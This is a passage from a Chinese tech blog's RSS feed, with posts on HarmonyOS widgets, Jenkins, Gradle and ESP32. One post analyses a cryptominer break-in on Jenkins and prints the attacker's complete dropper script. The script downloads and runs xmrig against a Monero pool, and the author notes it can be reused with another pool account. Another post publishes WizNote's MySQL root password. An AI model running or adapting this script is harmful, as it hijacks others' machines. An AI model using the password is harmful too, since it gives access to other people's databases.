&lt;p&gt;进入为知docker容器&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;docker exec -it 你的容器名称 /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入所需的目录&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;cd /wiz/app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看sh文件&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;cat entrypoint.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;仔细分析可以看到MySQL的用户名是root，密码是aI9DCyNpEKWe9pn5&lt;/p&gt;
&lt;h2&gt;结果&lt;/h2&gt;
&lt;p&gt;最终看到mysql的连接密码为aI9DCyNpEKWe9pn5&lt;/p&gt;
&lt;p&gt;根据这个密码可以连接以进行MySQL定时备份，防止笔记丢失&lt;/p&gt;
&lt;p&gt;这个是我这个版本的密码，为知可能每个版本变更一次密码，为了防止失效可以参照我上面的步骤取得密码&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Wed, 08 Dec 2021 07:29:28 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/107.html</comments>
    </item>
    <item>
      <title>HarmonyOS - 开发一个微博热搜服务卡片</title>
      <link>https://www.baby7blog.com/myBlog/106.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1628133158383963786" width="800"&gt;&lt;br&gt;
&lt;h1&gt;HarmonyOS - 开发一个微博热搜服务卡片&lt;/h1&gt;

&lt;h2&gt;效果图&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://harmonyos.oss-cn-beijing.aliyuncs.com/images/202108/413b492284255a3aac52049e5658f780fb1234.gif?x-oss-process=image/resize,w_374,h_757" alt="鸿蒙微博热搜服务卡片" /&gt;&lt;/p&gt;
&lt;h2&gt;关键原理&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;使用JS的服务卡片，相对于Java的服务卡片，JS的服务卡片的支持更加齐全，效果更佳&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用了JS的UI中的List组件显示微博的热搜列表，每个子项包括序号、标题、热度和类型&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过在Ability的onCreateForm(Intent intent)函数中进行热搜的数据分析返回&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用Java的Jsoup包进行网页的html数据获取，再使用其分析出微博的热搜信息&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;服务卡片的页面和样式&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;list class=&amp;quot;list&amp;quot;&amp;gt;
    &amp;lt;!-- 表头 --&amp;gt;
    &amp;lt;list-item class=&amp;quot;list-item&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;div&amp;quot;&amp;gt;
            &amp;lt;text class=&amp;quot;item_number&amp;quot; style=&amp;quot;color: #999;&amp;quot; &amp;gt;序号&amp;lt;/text&amp;gt;
            &amp;lt;text class=&amp;quot;item_title&amp;quot; style=&amp;quot;color: #999;&amp;quot;&amp;gt;关键词&amp;lt;/text&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/list-item&amp;gt;
    &amp;lt;!-- 主要内容 --&amp;gt;
    &amp;lt;list-item for=&amp;quot;{{cards}}&amp;quot; class=&amp;quot;list-item&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;div&amp;quot;&amp;gt;
            &amp;lt;!-- 序号 --&amp;gt;
            &amp;lt;text class=&amp;quot;item_number&amp;quot;&amp;gt;{{ $item.number }}&amp;lt;/text&amp;gt;
            &amp;lt;!-- 标题 --&amp;gt;
            &amp;lt;text class=&amp;quot;item_title&amp;quot;&amp;gt;{{ $item.title }}&amp;lt;/text&amp;gt;
            &amp;lt;!-- 热度 --&amp;gt;
            &amp;lt;text class=&amp;quot;item_count&amp;quot;&amp;gt;{{ $item.count }}&amp;lt;/text&amp;gt;
            &amp;lt;!-- 类型(新/热/商) --&amp;gt;
            &amp;lt;text class=&amp;quot;item_type&amp;quot; style=&amp;quot;background-color: {{$item.color}};&amp;quot; &amp;gt;{{ $item.type }}&amp;lt;/text&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/list-item&amp;gt;
&amp;lt;/list&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后是样式文件&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-css"&gt;/*列表样式*/
.list{
    align-items:center; /*居中对齐*/
}

/*列表中每个元素的样式*/
.list-item{
    border-radius: 10px; /*圆角*/
    background-color: #f2f2f2; /*背景颜色*/
    margin-bottom: 3px; /*向下间隔*/
}

/*元素中内容的样式*/
.div{
    margin:6px; /*四周边距*/
}

/*元素-序号的样式*/
.item_number {
    font-size: 12px;
    color: #f26d5f;
    width: 30px;
    text-align: left; /*左对齐*/
}

/*元素-标题的样式*/
.item_title{
    font-size: 12px;
    color: #0078b6;
    width: 220px;
    text-align: left;
}

/*元素-热度的样式*/
.item_count{
    font-size: 12px;
    text-align: right; /*右对齐*/
    width: 60px;
    color: #808080;
}

/*元素-类型的样式*/
.item_type{
    margin-left: 5px; /*向左间隔*/
    font-size: 12px;
    text-align: right;
    width: 15px;
    color: #fff;
    border-radius: 2px;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着是js文件&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;export default {
    data: {
        cards: [
            {
                &amp;quot;number&amp;quot;: 1,                        //序号
                &amp;quot;title&amp;quot;: &amp;quot;义乌1秒发6只冠军同款 &amp;quot;,     //标题
                &amp;quot;count&amp;quot;: 4591790,                   //热度
                &amp;quot;type&amp;quot;: &amp;quot;新&amp;quot;,                       //类型(新/热/商)
                &amp;quot;color&amp;quot;: &amp;quot;#f2f2f2&amp;quot;                  //类型的颜色
            }
        ]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Java端进行网页请求和分析出微博热搜信息&lt;/h2&gt;
&lt;p&gt;首先需要引入一个包Jsoup，含有网页请求和网页分析的工具&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-gradle"&gt;compile 'org.jsoup:jsoup:1.12.1'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后写一个获取微博热搜的工具类&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import org.jsoup.Jsoup;
import org.jsoup.internal.StringUtil;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;
import org.jsoup.select.Elements;

import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 获取微博热搜信息工具
 */
public class GetWeiboListUtil {

    // 微博热搜地址
    private static final String URL = &amp;quot;https://s.weibo.com/top/summary?cate=realtimehot&amp;quot;;

    public static List&amp;lt;Map&amp;lt;String, String&amp;gt;&amp;gt; getWeiboList() {
        List&amp;lt;Map&amp;lt;String, String&amp;gt;&amp;gt; weiboList = new ArrayList&amp;lt;&amp;gt;();
        try {
            // 使用Jsoup进行网页请求
            Document document = Jsoup.connect(URL).get();
            // 开始分析HTML
            Element plTopRealTimeHot = document.getElementById(&amp;quot;pl_top_realtimehot&amp;quot;);
            Elements tBody = plTopRealTimeHot.children().get(0).children().get(1).children();
            for (Element element : tBody) {
                String number = element.children().get(0).text();
                if (StringUtil.isBlank(number)) {
                    number = &amp;quot;↑&amp;quot;;
                }
                String title = element.children().get(1).children().get(0).text();
                String count = &amp;quot;&amp;quot;;
                if (element.children().get(1).children().size() &amp;gt; 1) {
                    count = element.children().get(1).children().get(1).text();
                }
                String type = element.children().get(2).text();
                String color = &amp;quot;&amp;quot;;
                // 根据类型打上颜色
                if (!StringUtil.isBlank(type)) {
                    switch (type) {
                        case &amp;quot;热&amp;quot;: color = &amp;quot;#ff9406&amp;quot;;break;
                        case &amp;quot;新&amp;quot;: color = &amp;quot;#ff3852&amp;quot;;break;
                        case &amp;quot;商&amp;quot;: color = &amp;quot;#00b7ee&amp;quot;;break;
                    }
                }
                Map&amp;lt;String, String&amp;gt; weiboItem = new HashMap&amp;lt;&amp;gt;();
                weiboItem.put(&amp;quot;number&amp;quot;, number);
                weiboItem.put(&amp;quot;title&amp;quot;, title);
                weiboItem.put(&amp;quot;count&amp;quot;, count);
                weiboItem.put(&amp;quot;type&amp;quot;, type);
                weiboItem.put(&amp;quot;color&amp;quot;, color);
                weiboList.add(weiboItem);
            }
        }
        catch (IOException e) {
            e.printStackTrace();
        }
        return weiboList;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后是实现Ability的创建事件&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import ***.GetWeiboListUtil;
import ohos.aafwk.ability.AbilitySlice;
import ohos.aafwk.ability.FormBindingData;
import ohos.aafwk.ability.ProviderFormInfo;
import ohos.ace.ability.AceAbility;
import ohos.aafwk.content.Intent;
import ohos.utils.zson.ZSONArray;
import ohos.utils.zson.ZSONObject;

import java.util.ArrayList;
import java.util.List;

public class MainAbility extends AceAbility {

    // UI侧列表名称
    private static final String LIST_NAME = &amp;quot;cards&amp;quot;;
    // 卡片类型4*4
    private static final int DEFAULT_DIMENSION_4X4 = 4;

    @Override
    public void onStart(Intent intent) {
        super.onStart(intent);
    }

    @Override
    public void onStop() {
        super.onStop();
    }

    @Override
    protected ProviderFormInfo onCreateForm(Intent intent) {
        String formName = intent.getStringParam(AbilitySlice.PARAM_FORM_NAME_KEY);
        int dimension = intent.getIntParam(AbilitySlice.PARAM_FORM_DIMENSION_KEY, DEFAULT_DIMENSION_4X4);
        if (formName.equals(&amp;quot;widget&amp;quot;) &amp;amp;&amp;amp; dimension == DEFAULT_DIMENSION_4X4) {
            ProviderFormInfo providerFormInfo = new ProviderFormInfo();
            ZSONObject zsonObject = new ZSONObject();
            List&amp;lt;Object&amp;gt; weiboList = new ArrayList&amp;lt;&amp;gt;(GetWeiboListUtil.getWeiboList());
            ZSONArray zsonArray = new ZSONArray(weiboList);
            zsonObject.put(LIST_NAME, zsonArray);
            providerFormInfo.setJsBindingData(new FormBindingData(zsonObject));
            return providerFormInfo;
        }
        return null;
    }

    @Override
    protected void onUpdateForm(long formId) {
        super.onUpdateForm(formId);
    }

    @Override
    protected void onDeleteForm(long formId) {
        super.onDeleteForm(formId);
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>前端技术</category>
      <pubDate>Thu, 05 Aug 2021 03:12:40 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/106.html</comments>
    </item>
    <item>
      <title>Jenkins容器遭到挖矿程序入侵后的梳理和解决</title>
      <link>https://www.baby7blog.com/myBlog/105.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1627894743264134994" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Jenkins容器遭到挖矿程序入侵后的梳理和解决&lt;/h1&gt;

&lt;h2&gt;起因&lt;/h2&gt;
&lt;p&gt;服务器CPU达到100%居高不下，查询时间发现情况持续了不止一天&lt;/p&gt;
&lt;h2&gt;揪出来原因&lt;/h2&gt;
&lt;p&gt;通过定位发现占用CPU的是Jenkins的Docker容器，使用命令进入容器&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;docker exec -it jenkins-server /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后使用&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;pa -aux
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现有一个程序占用异常的高&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;./trace -r 2 -R 2 --keepalive --no-color --donate-level 1 --max-cpu-usage 100 --cpu-priority 3 --print-time 25 --threads 1 --url pool.minexmr.com:4444 --user 44uNsPQyuLZEcfoAzs3Y78f942zLGkH8W6xAbZKU1PQ8bE35ud3kUr82c7WtYaa6FDezVLcVaZ5RJPENgQCShYsKMgckdku --pass x --keepalive
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和他同一时间启动的还有一个脚本&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;/bin/bash /tmp/jenkins6638567374534053250.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到这个文件看看（不要自己运行）:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;#!/bin/bash

if [[ $(whoami) != &amp;quot;root&amp;quot; ]]; then
    for tr in $(ps -U $(whoami) | egrep -v &amp;quot;java|ps|sh|egrep|grep|PID&amp;quot; | cut -b1-6); do
        kill -9 $tr || : ;
    done;
fi

threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo &amp;quot;${hostHash} - ${threadCount}&amp;quot;;

_curl () {
  read proto server path &amp;lt;&amp;lt;&amp;lt;$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x&amp;quot;${HOST}&amp;quot; == x&amp;quot;${PORT}&amp;quot; ]] &amp;amp;&amp;amp; PORT=80

  exec 3&amp;lt;&amp;gt;/dev/tcp/${HOST}/$PORT
  echo -en &amp;quot;GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n&amp;quot; &amp;gt;&amp;amp;3
  (while read line; do
   [[ &amp;quot;$line&amp;quot; == $'\r' ]] &amp;amp;&amp;amp; break
  done &amp;amp;&amp;amp; cat) &amp;lt;&amp;amp;3
  exec 3&amp;gt;&amp;amp;-
}

rm -rf config.json;

d () {
        curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2&amp;gt; /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2&amp;gt; /dev/null || _curl $1 &amp;gt; $                     2;
}


test ! -s trace &amp;amp;&amp;amp; \
    d https://github.com/xmrig/xmrig/releases/download/v6.4.0/xmrig-6.4.0-linux-x64.tar.gz trace.tgz &amp;amp;&amp;amp; \
    tar -zxvf trace.tgz &amp;amp;&amp;amp; \
    mv xmrig-6.4.0/xmrig trace &amp;amp;&amp;amp; \
    rm -rf xmrig-6.4.0 &amp;amp;&amp;amp; \
    rm -rf trace.tgz;

test ! -x trace &amp;amp;&amp;amp; chmod +x trace;

k() {
    ./trace \
        -r 2 \
        -R 2 \
        --keepalive \
        --no-color \
        --donate-level 1 \
        --max-cpu-usage 100 \
        --cpu-priority 3 \
        --print-time 25 \
        --threads ${threadCount:-4} \
        --url $1 \
        --user 44uNsPQyuLZEcfoAzs3Y78f942zLGkH8W6xAbZKU1PQ8bE35ud3kUr82c7WtYaa6FDezVLcVaZ5RJPENgQCShYsKMgckdku \
        --pass x \
        --keepalive
}

k pool.minexmr.com:4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;github项目的地址是一个挖矿程序，&lt;a href="https://minexmr.com"&gt;https://minexmr.com&lt;/a&gt;网址打开后发现是一个门罗币的矿池，脚本原理应该很清晰了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先通过&lt;a href="https://github.com/xmrig/xmrig/releases/download/v6.4.0/xmrig-6.4.0-linux-x64.tar.gz"&gt;https://github.com/xmrig/xmrig/releases/download/v6.4.0/xmrig-6.4.0-linux-x64.tar.gz&lt;/a&gt;下载挖矿程序&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后解压启动里面的trace挖矿主程序&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;挖矿的通信地址是&lt;a href="pool.minexmr.com:4444"&gt;pool.minexmr.com:4444&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这是一个比较通用的脚本，只需要在这个矿池注册账号拿到(--user)后面的东西就可以替换运行&lt;/p&gt;
&lt;h2&gt;入侵方式猜测&lt;/h2&gt;
&lt;p&gt;应该是Jenkins的漏洞，根据搜索引擎的帮助，可能是通过穷举法暴力破解Jenkins的密码进行注入&lt;/p&gt;
&lt;h2&gt;操作和防范&lt;/h2&gt;
&lt;p&gt;首先删除workspace目录下多出来的那个目录securejenkins，然后kill掉那两个进程&lt;/p&gt;
&lt;p&gt;登录Jenkins修改了下授权策略（之前忘了密码所以修改这个来修改密码但是忘了改回来），改为[登录用户可以做任何事]&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Mon, 02 Aug 2021 08:55:56 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/105.html</comments>
    </item>
    <item>
      <title>Maven项目转换为Gradle项目</title>
      <link>https://www.baby7blog.com/myBlog/104.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1627365298339333286" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Maven项目转换为Gradle项目&lt;/h1&gt;

&lt;p&gt;首先安装配置好Gradle&lt;/p&gt;
&lt;p&gt;然后cd到项目根目录下，使用Gradle的工具进行转换：&lt;/p&gt;
&lt;p&gt;输入命令&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;gradle init --type pom
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后修改下源：&lt;/p&gt;
&lt;p&gt;将build.gradle文件中的repositories这一块替换为：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-gradle"&gt;repositories {
    maven {
        url &amp;quot;http://maven.aliyun.com/nexus/content/groups/public&amp;quot;
    }
    maven { 
        url &amp;quot;https://repo.eclipse.org/content/repositories/paho-releases/&amp;quot;
    }
    google()
    mavenLocal()
    mavenCentral()
    jcenter()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后使用IDEA的[Reload All Gradle Projects]加载下包就可以了&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Tue, 27 Jul 2021 05:54:59 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/104.html</comments>
    </item>
    <item>
      <title>Jenkins中BlueOcean的使用</title>
      <link>https://www.baby7blog.com/myBlog/103.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1627365305830645546" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Jenkins中BlueOcean的使用&lt;/h1&gt;

&lt;h2&gt;介绍&lt;/h2&gt;
&lt;p&gt;Jenkins是一个独立的开源自动化服务器，可用于自动化各种任务，如构建，测试和部署软件。
BlueOcean是Jenkins中的一个插件，相对于原生的Jenkins界面，BlueOcean的配置和使用的界面更加清爽。&lt;/p&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;p&gt;在Jenkins的菜单栏的[系统管理]-&amp;gt;[插件管理]-&amp;gt;[可选插件]中搜索Blue Ocean进行安装，安装后重新启动Jenkins，操作如图:
&lt;img src="https://atts.w3cschool.cn/attachments/image/20170818/1503039549669288.png" alt="Jenkins安装BlueOcean" /&gt;&lt;/p&gt;
&lt;h2&gt;使用&lt;/h2&gt;
&lt;p&gt;重启后可以在菜单栏看到[打开Blue Ocean]&lt;/p&gt;
&lt;p&gt;新建一个项目后输入项目git地址，之后会提交git，内容是一个Jenkinsfile，会放到项目的根路径，BlueOcean就是根据这个Jenkinsfile进行构建&lt;/p&gt;
&lt;p&gt;后面可以使用Blue Ocean的界面进行配置，也可以直接修改Jenkinsfile&lt;/p&gt;
&lt;p&gt;这里贴出来我的Jenkinsfile，只做了代码拉取和项目构建，后续会继续更新&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Jenkinsfile"&gt;pipeline {
  agent any
  stages {
    stage('pull code') {
      steps {
        git(branch: 'main', url: 'https://github.com/baby7/baby7-blog-server.git')
      }
    }
    stage('build') {
      steps {
        withGradle() {
          sh '''chmod 777 gradlew
./gradlew build'''
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1627356450079823714" alt="Blue Ocean 配置" /&gt;&lt;/p&gt;
&lt;p&gt;关于Jenkinsfile的使用可以参考&lt;a href="https://www.jenkins.io/zh/doc/tutorials/create-a-pipeline-in-blue-ocean/"&gt;Blue Ocean文档&lt;/a&gt;&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Tue, 27 Jul 2021 03:39:51 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/103.html</comments>
    </item>
    <item>
      <title>使用MircoPython在ESP32的OLED屏幕上显示个小电视</title>
      <link>https://www.baby7blog.com/myBlog/102.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1625992010537858231" width="800"&gt;&lt;br&gt;
&lt;h1&gt;使用MircoPython在ESP32的OLED屏幕上显示个小电视&lt;/h1&gt;

&lt;h2&gt;一、展示&lt;/h2&gt;
&lt;p&gt;是拿几根线组合出来的，随便画了画，作用相当于个Hello World&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1625992010537858231" alt="oled小电视" /&gt;&lt;/p&gt;
&lt;h2&gt;二、材料：&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ESP32（使用MircoPython的固件）&lt;/li&gt;
&lt;li&gt;0.96寸OLED屏幕（4口）和杜邦线若干&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;三、ESP32和OLED屏幕的连接&lt;/h2&gt;
&lt;p&gt;ESP端           屏幕端&lt;/p&gt;
&lt;p&gt;3V3  ----------  VCC&lt;/p&gt;
&lt;p&gt;GEN  ----------  GEN&lt;/p&gt;
&lt;p&gt;D4   ----------  SDA&lt;/p&gt;
&lt;p&gt;D5   ----------  SCL&lt;/p&gt;
&lt;h2&gt;四、源码&lt;/h2&gt;
&lt;p&gt;main.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;from machine import I2C, Pin, RTC
from ssd1306 import SSD1306_I2C

i2c = I2C(1, scl=Pin(5), sda=Pin(4), freq=40000)
oled = SSD1306_I2C(128, 64, i2c)
rtc = RTC()
# 上面横线
oled.line(10, 10, 117, 10, 1)
# 右上角斜线
oled.line(117, 10, 127, 20, 1)
# 右边竖线
oled.line(127, 20, 127, 53, 1)
# 右下角斜线
oled.line(127, 53, 117, 63, 1)
# 下面横线
oled.line(10, 63, 117, 63, 1)
# 左下角斜线
oled.line(0, 53, 10, 63, 1)
# 左边竖线
oled.line(0, 20, 0, 53, 1)
# 左上角斜线
oled.line(10, 10, 0, 20, 1)
# 天线左
oled.line(32, 0, 42, 10, 1)
# 天线右边
oled.line(92, 0, 82, 10, 1)
# 眼睛左边
oled.line(42, 20, 22, 30, 1)
# 眼睛右边
oled.line(82, 20, 102, 30, 1)
# 嘴1
oled.line(42, 40, 51, 50, 1)
# 嘴2
oled.line(51, 50, 60, 40, 1)
# 嘴3
oled.line(60, 40, 69, 50, 1)
# 嘴4
oled.line(69, 50, 78, 40, 1)
oled.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ssd1306.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# MicroPython SSD1306 OLED driver, I2C and SPI interfaces

import time
import framebuf

# register definitions
SET_CONTRAST = const(0x81)
SET_ENTIRE_ON = const(0xa4)
SET_NORM_INV = const(0xa6)
SET_DISP = const(0xae)
SET_MEM_ADDR = const(0x20)
SET_COL_ADDR = const(0x21)
SET_PAGE_ADDR = const(0x22)
SET_DISP_START_LINE = const(0x40)
SET_SEG_REMAP = const(0xa0)
SET_MUX_RATIO = const(0xa8)
SET_COM_OUT_DIR = const(0xc0)
SET_DISP_OFFSET = const(0xd3)
SET_COM_PIN_CFG = const(0xda)
SET_DISP_CLK_DIV = const(0xd5)
SET_PRECHARGE = const(0xd9)
SET_VCOM_DESEL = const(0xdb)
SET_CHARGE_PUMP = const(0x8d)


class SSD1306:
    def __init__(self, width, height, external_vcc):
        self.width = width
        self.height = height
        self.external_vcc = external_vcc
        self.pages = self.height // 8
        # Note the subclass must initialize self.framebuf to a framebuffer.
        # This is necessary because the underlying data buffer is different
        # between I2C and SPI implementations (I2C needs an extra byte).
        self.poweron()
        self.init_display()

    def init_display(self):
        for cmd in (
                SET_DISP | 0x00,  # off
                # address setting
                SET_MEM_ADDR, 0x00,  # horizontal
                # resolution and layout
                SET_DISP_START_LINE | 0x00,
                SET_SEG_REMAP | 0x01,  # column addr 127 mapped to SEG0
                SET_MUX_RATIO, self.height - 1,
                SET_COM_OUT_DIR | 0x08,  # scan from COM[N] to COM0
                SET_DISP_OFFSET, 0x00,
                SET_COM_PIN_CFG, 0x02 if self.height == 32 else 0x12,
                # timing and driving scheme
                SET_DISP_CLK_DIV, 0x80,
                SET_PRECHARGE, 0x22 if self.external_vcc else 0xf1,
                SET_VCOM_DESEL, 0x30,  # 0.83*Vcc
                # display
                SET_CONTRAST, 0xff,  # maximum
                SET_ENTIRE_ON,  # output follows RAM contents
                SET_NORM_INV,  # not inverted
                # charge pump
                SET_CHARGE_PUMP, 0x10 if self.external_vcc else 0x14,
                SET_DISP | 0x01):  # on
            self.write_cmd(cmd)
        self.fill(0)
        self.show()

    def poweroff(self):
        self.write_cmd(SET_DISP | 0x00)

    def contrast(self, contrast):
        self.write_cmd(SET_CONTRAST)
        self.write_cmd(contrast)

    # 翻转颜色
    def invert(self, invert):
        self.write_cmd(SET_NORM_INV | (invert &amp;amp; 1))

    def show(self):
        x0 = 0
        x1 = self.width - 1
        if self.width == 64:
            # displays with width of 64 pixels are shifted by 32
            x0 += 32
            x1 += 32
        self.write_cmd(SET_COL_ADDR)
        self.write_cmd(x0)
        self.write_cmd(x1)
        self.write_cmd(SET_PAGE_ADDR)
        self.write_cmd(0)
        self.write_cmd(self.pages - 1)
        self.write_framebuf()

    # 填充画面 0为空 1为亮
    def fill(self, col):
        self.framebuf.fill(col)

    # 填充一个像素在X,YE
    def pixel(self, x, y, col):
        self.framebuf.pixel(x, y, col)

    # 滚动
    def scroll(self, dx, dy):
        self.framebuf.scroll(dx, dy)

    # 文本
    def text(self, string, x, y, col=1):
        self.framebuf.text(string, x, y, col)

    def line(self, x1, y1, x2, y2, col=1):
        self.framebuf.line(x1, y1, x2, y2, col)

    def line(self, x1, y1, x2, y2, col=1):
        self.framebuf.line(x1, y1, x2, y2, col)


class SSD1306_I2C(SSD1306):
    def __init__(self, width, height, i2c, addr=0x3c, external_vcc=False):
        self.i2c = i2c
        self.addr = addr
        self.temp = bytearray(2)
        # Add an extra byte to the data buffer to hold an I2C data/command byte
        # to use hardware-compatible I2C transactions.  A memoryview of the
        # buffer is used to mask this byte from the framebuffer operations
        # (without a major memory hit as memoryview doesn't copy to a separate
        # buffer).
        self.buffer = bytearray(((height // 8) * width) + 1)
        self.buffer[0] = 0x40  # Set first byte of data buffer to Co=0, D/C=1
        self.framebuf = framebuf.FrameBuffer1(memoryview(self.buffer)[1:], width, height)
        super().__init__(width, height, external_vcc)

    def write_cmd(self, cmd):
        self.temp[0] = 0x80  # Co=1, D/C#=0
        self.temp[1] = cmd
        self.i2c.writeto(self.addr, self.temp)

    def write_framebuf(self):
        # Blast out the frame buffer using a single I2C transaction to support
        # hardware I2C interfaces.
        self.i2c.writeto(self.addr, self.buffer)

    def poweron(self):
        pass


class SSD1306_SPI(SSD1306):
    def __init__(self, width, height, spi, dc, res, cs, external_vcc=False):
        self.rate = 10 * 1024 * 1024
        dc.init(dc.OUT, value=0)
        res.init(res.OUT, value=0)
        cs.init(cs.OUT, value=1)
        self.spi = spi
        self.dc = dc
        self.res = res
        self.cs = cs
        self.buffer = bytearray((height // 8) * width)
        self.framebuf = framebuf.FrameBuffer1(self.buffer, width, height)
        super().__init__(width, height, external_vcc)

    def write_cmd(self, cmd):
        self.spi.init(baudrate=self.rate, polarity=0, phase=0)
        self.cs.high()
        self.dc.low()
        self.cs.low()
        self.spi.write(bytearray([cmd]))
        self.cs.high()

    def write_framebuf(self):
        self.spi.init(baudrate=self.rate, polarity=0, phase=0)
        self.cs.high()
        self.dc.high()
        self.cs.low()
        self.spi.write(self.buffer)
        self.cs.high()

    def poweron(self):
        self.res.high()
        time.sleep_ms(1)
        self.res.low()
        time.sleep_ms(10)
        self.res.high()
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>硬件相关</category>
      <pubDate>Sun, 11 Jul 2021 08:26:58 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/102.html</comments>
    </item>
    <item>
      <title>HarmonyOS实现MQTT消息监听展示</title>
      <link>https://www.baby7blog.com/myBlog/101.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1624956831251988394" width="800"&gt;&lt;br&gt;
&lt;h1&gt;HarmonyOS实现MQTT消息监听展示&lt;/h1&gt;

&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;因为harmonyOS暂时没有发现现成的mqtt的js包，所以使用Java进行Mqtt消息的接收，使用JS去定时调用Java接收到消息并展示
首先是JS调用Java，JS FA(Feature Ability)调用Java PA(Particle Ability)有两种方式，Ability和Internal Ability，这里使用的是第一种Ability
然后是Java端的Mqtt消息接收，使用paho的第三方库进行消息接收，页面启动时JS端调用Java端实现Mqtt消息接收开始，使用异步挂起，接收消息并缓存，随后JS端每次调用Java端拿到的都是最新缓存的信息&lt;/p&gt;
&lt;h2&gt;具体代码&lt;/h2&gt;
&lt;p&gt;hml页面：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
    &amp;lt;div&amp;gt;
        &amp;lt;text class=&amp;quot;title&amp;quot;&amp;gt;
            {{ title }}
        &amp;lt;/text&amp;gt;
    &amp;lt;/div&amp;gt;
